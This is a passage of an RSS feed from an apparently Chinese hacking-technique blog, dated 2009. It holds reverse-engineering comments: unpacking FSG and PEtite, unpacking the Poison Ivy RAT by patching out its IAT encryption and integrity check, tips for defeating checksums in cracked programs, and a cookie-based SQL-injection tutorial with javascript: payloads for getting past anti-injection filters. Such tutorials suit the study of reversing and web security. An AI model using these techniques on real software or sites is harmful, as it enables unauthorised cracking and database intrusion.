/*400154*/ XCHG DWORD PTR DS: ,ESP
/*40015A*/ POPAD
/*40015B*/ XCHG EAX,ESP
/*40015C*/ PUSH EBP
/*40015D*/ MOVS BYTE PTR ES: ,BYTE PTR DS: 
/*40015E*/ MOV DH,80
/...]]></description>
    <content:encoded><![CDATA[FSG 2.0 -&gt; bart/xt<br><br>也算是压缩壳吧,不过比其他的稍微麻烦点.<br><br>入口点是这样的<br><br>/*400154*/  XCHG DWORD PTR DS:[505AE0],ESP<br>/*40015A*/  POPAD<br>/*40015B*/  XCHG EAX,ESP<br>/*40015C*/  PUSH EBP<br>/*40015D*/  MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]<br>/*40015E*/  MOV DH,80<br>/*400160*/  CALL DWORD PTR DS:[EBX]<br>/*400162*/  JNB SHORT KeyGen.0040015D<br>/*400164*/  XOR ECX,ECX<br>/*400166*/  CALL DWORD PTR DS:[EBX]<br>/*400168*/  JNB SHORT KeyGen.00400180<br>/*40016A*/  XOR EAX,EAX<br>/*40016C*/  CALL DWORD PTR DS:[EBX]<br>/*40016E*/  JNB SHORT KeyGen.0040018F<br>/*400170*/  MOV DH,80<br>/*400172*/  INC ECX<br>/*400173*/  MOV AL,10<br>/*400175*/  CALL DWORD PTR DS:[EBX]<br>/*400177*/  ADC AL,AL<br>/*400179*/  JNB SHORT KeyGen.00400175<br>/*40017B*/  JNZ SHORT KeyGen.004001B7<br>/*40017D*/  STOS BYTE PTR ES:[EDI]<br>/*40017E*/  JMP SHORT KeyGen.00400160<br>/*400180*/  CALL DWORD PTR DS:[EBX+8]<br>/*400183*/  ADD DH,DH<br>/*400185*/  SBB ECX,1<br>/*400188*/  JNZ SHORT KeyGen.00400198<br>/*40018A*/  CALL DWORD PTR DS:[EBX+4]<br>/*40018D*/  JMP SHORT KeyGen.004001B3<br>/*40018F*/  LODS BYTE PTR DS:[ESI]<br>/*400190*/  SHR EAX,1<br>/*400192*/  JE SHORT KeyGen.004001C1<br>/*400194*/  ADC ECX,ECX<br>/*400196*/  JMP SHORT KeyGen.004001B0<br>/*400198*/  XCHG EAX,ECX<br>/*400199*/  DEC EAX<br>/*40019A*/  SHL EAX,8<br>/*40019D*/  LODS BYTE PTR DS:[ESI]<br>/*40019E*/  CALL DWORD PTR DS:[EBX+4]<br>/*4001A1*/  CMP EAX,DWORD PTR DS:[EBX-8]<br>/*4001A4*/  JNB SHORT KeyGen.004001B0<br>/*4001A6*/  CMP AH,5<br>/*4001A9*/  JNB SHORT KeyGen.004001B1<br>/*4001AB*/  CMP EAX,7F<br>/*4001AE*/  JA SHORT KeyGen.004001B2<br>/*4001B0*/  INC ECX<br>/*4001B1*/  INC ECX<br>/*4001B2*/  XCHG EAX,EBP<br>/*4001B3*/  MOV EAX,EBP<br>/*4001B5*/  MOV DH,0<br>/*4001B7*/  PUSH ESI<br>/*4001B8*/  MOV ESI,EDI<br>/*4001BA*/  SUB ESI,EAX<br>/*4001BC*/  REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]<br>/*4001BE*/  POP ESI<br>/*4001BF*/  JMP SHORT KeyGen.00400160<br>/*4001C1*/  POP ESI<br>/*4001C2*/  LODS DWORD PTR DS:[ESI]<br>/*4001C3*/  XCHG EAX,EDI<br>/*4001C4*/  LODS DWORD PTR DS:[ESI]<br>/*4001C5*/  PUSH EAX<br>/*4001C6*/  CALL DWORD PTR DS:[EBX+10]<br>/*4001C9*/  XCHG EAX,EBP<br>/*4001CA*/  MOV EAX,DWORD PTR DS:[EDI]<br>/*4001CC*/  INC EAX<br>/*4001CD*/  JS SHORT KeyGen.004001C2<br>/*4001CF*/  JNZ SHORT KeyGen.004001D4<br>/*4001D1*/  JMP DWORD PTR DS:[EBX+C]<br>/*4001D4*/  PUSH EAX<br>/*4001D5*/  PUSH EBP<br>/*4001D6*/  CALL DWORD PTR DS:[EBX+14]<br>/*4001D9*/  STOS DWORD PTR ES:[EDI]<br>/*4001DA*/  JMP SHORT KeyGen.004001CA<br>/*4001DC*/  XOR ECX,ECX<br>/*4001DE*/  INC ECX<br>/*4001DF*/  CALL DWORD PTR DS:[EBX]<br>/*4001E1*/  ADC ECX,ECX<br>/*4001E3*/  CALL DWORD PTR DS:[EBX]<br>/*4001E5*/  JB SHORT KeyGen.004001DF<br>/*4001E7*/  RET<br>/*4001E8*/  ADD DL,DL<br>/*4001EA*/  JNZ SHORT KeyGen.004001F1<br>/*4001EC*/  MOV DL,BYTE PTR DS:[ESI]<br>/*4001EE*/  INC ESI<br>/*4001EF*/  ADC DL,DL<br>/*4001F1*/  RET<br><br>这个用esp定律好象不行.<br>不过比较短,可以单步慢慢跟.<br>跟过两遍后发现直接f4到这<br>/*4001D1*/  JMP DWORD PTR DS:[EBX+C]<br>再单步一下就到oep了.<br>这时看下iat<br><br>0040C09C  7C80CD27  kernel32.SetHandleCount<br>0040C0A0  7C812FC9  kernel32.GetStdHandle<br>0040C0A4  7C810EE1  kernel32.GetFileType<br>0040C0A8  7C94ABA5  ntdll.RtlUnwind<br>0040C0AC  7C810E17  kernel32.WriteFile<br>0040C0B0  7C80AE30  kernel32.GetProcAddress<br>0040C0B4  7C812A99  kernel32.RaiseException<br>0040C0B8  7C812F06  kernel32.GetCPInfo<br>0040C0BC  7C8099A5  kernel32.GetACP<br>0040C0C0  7FFFFFFF<br>0040C0C4  77D24A4E  user32.EndDialog<br>0040C0C8  77D507EA  user32.MessageBoxA<br>0040C0CC  77D2E8F6  user32.LoadIconA<br>0040C0D0  77D2F3C2  user32.SendMessageA<br>0040C0D4  77D3B144  user32.DialogBoxParamA<br>0040C0D8  77D6B05E  user32.GetDlgItemTextA<br>0040C0DC  7FFFFFFF<br>0040C0E0  76B15A4A  winmm.waveOutWrite<br>0040C0E4  76B159D9  winmm.waveOutPrepareHeader<br>0040C0E8  76B15201  winmm.waveOutOpen<br>0040C0EC  76B15726  winmm.waveOutClose<br><br>每组iat中间间隔是7fffffff而不是00000000<br>这个好说 右键---&gt;二进制填充为0就ok了<br>这时再dump和修复iat就能运行了.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_779]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T14:46:23Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=253">
    <title><![CDATA[Comment on: 好久没写字了,脱个超easy的壳吧PEtite 2.x [Level 1/9] -> Ian Luck]]></title>
    <description><![CDATA[我发现现在OD插件厉害的话
再设置忽略所有异常,脱这个壳也不用这么麻烦
直接hr esp f9 f9 f9 就OK了.]]></description>
    <content:encoded><![CDATA[我发现现在OD插件厉害的话<br>再设置忽略所有异常,脱这个壳也不用这么麻烦<br>直接hr esp f9 f9 f9 就OK了.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=253#commmark_778]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T12:38:20Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[其实脱壳也挺有意思的.


手脱原版的Poison Ivy 2.3.2.exe
听说国外这个马功能很强大。想玩玩试试，随手用PEID查看发现加的有壳。
不过没查出来是什么壳，只看到最后一个区段名是GPPE。
不管了，给它脱了！！
--------------------------邪恶的分割线-----------...]]></description>
    <content:encoded><![CDATA[其实脱壳也挺有意思的.<br><br><br>手脱原版的Poison Ivy 2.3.2.exe<br>听说国外这个马功能很强大。想玩玩试试，随手用PEID查看发现加的有壳。<br>不过没查出来是什么壳，只看到最后一个区段名是GPPE。<br>不管了，给它脱了！！<br>--------------------------邪恶的分割线----------------------------<br>1.查找OEP<br>可以用老Y写的GUnPacker0.50来找<br><br>当然这个也可以直接用esp定律。F9两次就可以到<br>/*561A9C*/  PUSH EBP<br>/*561A9D*/  MOV EBP,ESP<br>/*561A9F*/  MOV ECX,4<br>/*561AA4*/  PUSH 0<br>/*561AA6*/  PUSH 0<br>/*561AA8*/  DEC ECX<br>/*561AA9*/  DB 75<br>/*561AAA*/  DB F9<br><br>0x00561A9C就是OEP了。<br><br>--------------------------华丽的分割线----------------------------<br>2.去校验。<br>找到OEP后可以先he 561A9C作备用。<br>这时DUMP后再ImportREC修复IAT时发现有好多无效的。<br>可能有些IAT被加密了。<br>顺手找一个CALL<br>/*561D11*/  CALL Poison_I.0040720C<br>enter敲进去看下<br>/*40720C*/  JMP DWORD PTR DS:[5684CC]<br>然后在命令窗口dd 5684CC<br><br>00568310  7C812FC9  kernel32.GetStdHandle<br>00568314  7C810B07  kernel32.GetFileSize<br>00568318  7C810EE1  kernel32.GetFileType<br>0056831C  7C801A28  kernel32.createFileA<br>00568320  7C809BD7  kernel32.CloseHandle<br>00568324  00000000<br>00568328  001534E0  ;加密了<br>0056832C  001534E5<br>00568330  001534EA<br>00568334  001534EF<br>00568338  00000000<br>0056833C  001534F4<br>00568340  001534F9<br>00568344  001534FE<br><br>发现确实有一些IAT被加密了<br><br>重新来过吧<br>在 00568328下内存写入断点。<br><br>当发现 变为00568328  77D311DB  user32.GetKeyboardType时<br><br>注意看数据窗口<br>ESI=001534E0<br>DS:[00568328]=77D311DB (user32.GetKeyboardType)<br>然后F8走一下看看<br>发现<br>/*61161D*/  CMP EBX,77FFFFFF<br>/*611623*/  JBE SHORT Poison_I.00611633<br>在611623处跳转实现了就会加密。所以这里干脆把它NOP掉。<br><br>但是NOP掉后再F9执行，程序直接退出了，看来还是有校验啊。<br><br><br>那我在hr 611623再F9 看看到底那里校验我的。<br><br>来到这了<br>/*611319*/  MOV AL,BYTE PTR DS:[EDI]<br>/*61131B*/  MUL EDX<br>/*61131D*/  ADD EBX,EAX<br>/*61131F*/  INC EDX<br>/*611320*/  INC EDI<br>/*611321*/  LOOPD SHORT Poison_I.00611319<br>/*611323*/  XCHG EAX,EBX<br><br>MOV AL,BYTE PTR DS:[EDI]就是取那里的代码然后放到了eax里。<br>把这个循环走出来再看下，<br>/*611695*/  JMP SHORT Poison_I.00611698<br>/*611697*/  ???<br>/*611698*/  MOV EBX,DWORD PTR SS:[EBP+40425E]<br>/*61169E*/  XOR EAX,EBX   ;这里是比较是否相等的，关键。<br>/*6116A0*/  JE SHORT Poison_I.006116AA<br><br>比完以后没跳转，那我把它改成jmp 006116AA应该就OK了。<br>把其他断点全删除，只留到OEP那个，再F9后就飞向光明之颠。<br><br>避开了IAT加密，这次再DUMP，修复IAT就没问题了。不过在DUMP时要先修正下镜象大小。注意OEP=561A9C-40000=161a9c。<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_777]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-10T12:12:57Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=188">
    <title><![CDATA[Comment on: SHELLCODE测试代码]]></title>
    <description><![CDATA[char shellcode ="\xEB\xFE"; jmp -1]]></description>
    <content:encoded><![CDATA[char shellcode[] =&quot;\xEB\xFE&quot;;  jmp -1
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=188#commmark_776]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-03-20T15:07:06Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[2008! 右边最后一个不为0的数是:


int GetFactorNumber(unsigned Number, unsigned Factor)
{
 int result = 0;
 if(Factor < 2 || Number < 1)
 return -1;
 while(Number >= Factor)
 result += Number /= Factor;
 return result;
}

int GetLastDigit...]]></description>
    <content:encoded><![CDATA[2008!  右边最后一个不为0的数是:<br><br><br>int GetFactorNumber(unsigned Number, unsigned Factor)<br>{<br>         int result = 0;<br>                    if(Factor &lt; 2 || Number &lt; 1)<br>                            return -1;<br>         while(Number &gt;= Factor)<br>                            result += Number /= Factor;<br>         return result;<br>}<br><br>int GetLastDigit(unsigned Number)<br>{<br>         int result = 1;/*这是连乘法的基础值，也是最后要返回的结果*/<br>         int i;/*循环变量*/<br>         int tmp;/*循环中用到的临时值*/<br>         int Count = 0;/*记录找到的因子2的个数，直到和因子5的个数相等*/<br>int TotalFactors = GetFactorNumber(Number, 5);/*因子5的总数*/<br>         for(i = Number; i &gt;= 1; i--)/*从Number一直向下处理*/<br>                    {<br>                            tmp = i;<br>                            /*尽可能多的得到因子2，直到tmp是个奇数或者不需要更多的因子2*/<br>                 while(tmp % 2 == 0 && Count &lt; TotalFactors)<br>                            {<br>                                    tmp /= 2;<br>                                    Count++;<br>                            }<br>                 while(tmp % 5 == 0)/*除去所有的因子5*/<br>                                    tmp /= 5;<br>                            tmp %= 10;/*取得个位数*/<br>                            result *= tmp;/*做阶乘*/<br>                            result %= 10;/*只保留个位数*/<br>                    }<br>         return result;/*返回运算结果*/<br>}<br><br>int main(int argc, char* argv[])<br>{<br><br>unsigned k=GetLastDigit(2008);<br><br>&nbsp;&nbsp;printf(&quot;%d\n&quot;,k);<br>&nbsp;&nbsp;return 0;<br>}<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_768]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-25T11:47:44Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[关于爆破程序的校验问题

可以先把流程的跳转都给改正确了 然后保存之

载入OD

然后随便在一处暴的地方 hr 下硬件访问断点

F9运行,会跑到校验的地方.然后再改跳转即可.]]></description>
    <content:encoded><![CDATA[关于爆破程序的校验问题<br><br>可以先把流程的跳转都给改正确了 然后保存之<br><br>载入OD<br><br>然后随便在一处暴的地方 hr 下硬件访问断点<br><br>F9运行,会跑到校验的地方.然后再改跳转即可.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_767]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-24T20:24:56Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=300">
    <title><![CDATA[Comment on: OD的万能断点插件原理]]></title>
    <description><![CDATA[Alt+F5 - 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断，而这时调试程序弹出一个总在最前面的窗口（一般为模式消息或模式对话框［modal message or dialog］），它可能会遮住OllyDbg的一部分，但是我们又不能移动最小化这个窗口。激活OllyDbg（比如按任务栏...]]></description>
    <content:encoded><![CDATA[Alt+F5 - 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断，而这时调试程序弹出一个总在最前面的窗口（一般为模式消息或模式对话框［modal message or dialog］），它可能会遮住OllyDbg的一部分，但是我们又不能移动最小化这个窗口。激活OllyDbg（比如按任务栏上的标签）并按Alt+ F5，OllyDbg将设置成总在最前面，会反过来遮住刚才那个窗口。如果您再按一下Alt+F5，OllyDbg会恢复到正常状态。OllyDbg是否处于总在最前面状态，将会保存，在下一次调试时依然有效。当前是否处于总在最前面状态，会显示在状态栏中。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=300#commmark_764]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-18T16:51:52Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=304">
    <title><![CDATA[Comment on: (转)cookies的注入基本方法和原理介绍]]></title>
    <description><![CDATA[我们再看看防注入系统,他会检测GET和POST中的数据，如果有特殊字符(这里当然是注入字符了)!
就禁止数据的提交! 但他没有检测Cookies的数据！问题就来了~~~
那我们怎样测试是否有Cookies注入问题~

请先看下面的的连接(示例用,所以连接不是真的)

http://www.xxx.c...]]></description>
    <content:encoded><![CDATA[我们再看看防注入系统,他会检测GET和POST中的数据，如果有特殊字符(这里当然是注入字符了)!<br>就禁止数据的提交! 但他没有检测Cookies的数据！问题就来了~~~<br>那我们怎样测试是否有Cookies注入问题~<br><br>请先看下面的的连接(示例用,所以连接不是真的)<br><br><a target='_blank' href='http://www.xxx.com/1.asp?id=123'><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a>?id=123</a><br><br>如果我们只输 <a target='_blank' href='http://www.xxx.com/1.asp'><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a></a><br><br>时，就不能看到正常的数据，因为没有参数!<br>我们想知道有没有Cookies问题(也就是有没有Request(&quot;XXX&quot;)格式问题),<br>先用IE输入 <br><a target='_blank' href='http://www.xxx.com/1.asp'>http://www.xxx.com/1.asp</a><br>加载网页,显示不正常（没有输参数的原因)<br>之后在IE输入框再输入<br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123&quot;));<br>按回车,你会看到弹出一个对话框 内容是: id=123 <br>之后，你刷新一个网页，如果正常显示，表示是用<br>Request(&quot;ID&quot;) 这样的格式收集数据~~~~,这种格式就可以试Cookies注入了<br><br>在输入框中输入<br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123 and 3=3&quot;));<br>刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)<br><br>javascript:alert(document.cookie=&quot;id=&quot;+escape(&quot;123 and 3=4&quot;));刷新一下页面<br>如果不正常显示，这就表示有注入了~~~<br><br>如果程序员是用 <br>Request.QueryString<br>或 <br>Request.Form<br>收集数据的话，是无法利用Cookies绕过防注入系统进行注入的，因为服务程序是直截从GET或POST中读取数据的，Cookies是否有数据,WEB服务器是不理的,所以就无法利用了！~<br><br>--------------------------------------------------------------------------<br><br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=304#commmark_763]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-02-10T17:09:04Z</dc:date>
  </item>

      </rdf:Seq>
    </items>
  </channel>
</rdf:RDF>

